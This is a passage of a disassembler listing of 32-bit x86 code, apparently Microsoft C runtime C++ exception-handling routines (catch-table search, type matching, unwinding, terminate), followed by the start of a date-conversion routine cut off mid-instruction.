; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_48A090 test esi, esi jz loc_41CEBC mov eax, dword_48A094 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_48A098, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_48A090 mov [ebp+var_1C], ecx mov ecx, dword_48A094 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_48A090, edi mov ecx, [ebp+arg_8] mov dword_48A094, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_48A090, eax mov eax, [ebp-20h] mov dword_48A094, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_48A09C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248C0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43B924 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax ; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_48B688 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_48B684 nop call near ptr 2850548h loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43C054[edi*4] add esi, [ebp+arg_8] test 